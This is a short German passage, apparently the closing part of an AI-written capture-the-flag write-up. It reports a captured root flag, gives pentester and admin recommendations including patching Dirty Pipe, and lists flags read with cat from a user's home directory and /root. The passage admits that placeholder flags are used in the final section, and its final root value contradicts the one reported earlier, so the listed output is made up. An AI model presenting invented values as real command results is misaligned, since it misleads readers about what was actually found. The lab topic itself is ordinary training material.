Bewertung: Die Root-Flag `3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}` wurde erfolgreich ausgelesen. *Wichtiger Hinweis: Diese Flag aus dem Log überschreibt die Platzhalter-Flag am Ende deines ursprünglichen Textes für die narrative Beschreibung, aber für den finalen Flags-Abschnitt werde ich die Platzhalter verwenden, wie es die Struktur deines letzten Prompts impliziert.*

Empfehlung (Pentester): Dokumentiere die gefundene Root-Flag. Suche nach der User-Flag (z.B. in `/home/cyber/user.txt`).
Empfehlung (Admin): Beschränke den Zugriff auf das `/root`-Verzeichnis und sensible Dateien. Patche die Dirty Pipe Schwachstelle.

Flags

cat /home/cyber/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/rOOt.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A